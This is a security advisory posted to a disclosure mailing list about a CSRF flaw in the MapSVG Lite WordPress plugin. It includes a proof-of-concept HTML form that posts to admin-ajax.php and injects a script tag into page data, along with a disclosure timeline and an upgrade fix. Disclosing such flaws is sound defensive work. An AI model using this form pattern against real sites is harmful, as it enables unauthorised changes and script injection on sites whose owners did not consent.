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Date: Tue, 8 Jan 2019 10:03:04 +0000
From: dxw Security <>
Subject: [FD] CSRF in MapSVG Lite could allow an attacker to do almost
	anything an admin can (WordPress plugin)

Software: MapSVG Lite
Version: 3.2.3
Advisory report:
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

CSRF in MapSVG Lite could allow an attacker to do almost anything an admin can

The plugin uses REST requests to modify post data, and does not check the nonce when doing so.

Proof of concept

Install the plugin on a site at http://localhost/
Ensure you have page with ID of 2.
Whilst logged in, visit an html page with this content and submit the form:

<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php?action=mapsvg_save\">
 <input type=\"text\" name=\"data[title]\" value=\"A bad value\">
 <input type=\"text\" name=\"data[mapsvg_data]\" value=\"<script>alert(\'hello\')</script>\">
 <input type=\"text\" name=\"data[map_id]\" value=\"2\">
 <input type=\"submit\">

Visit the page with ID of 2. It now has title of “A bad value” and alerts “hello” on loading.

Upgrade to version 3.3.0 or above.

Disclosure policy
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy:

Please contact us on to acknowledge this report if you received it via a third party (for example, as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.


2018-04-10: Discovered
2018-06-15: Author notified via email
2018-06-15: Author replied, fix to be published in next release
2019-01-08: Advisory published

Discovered by dxw:
Rob Skilling
Please visit for more information.

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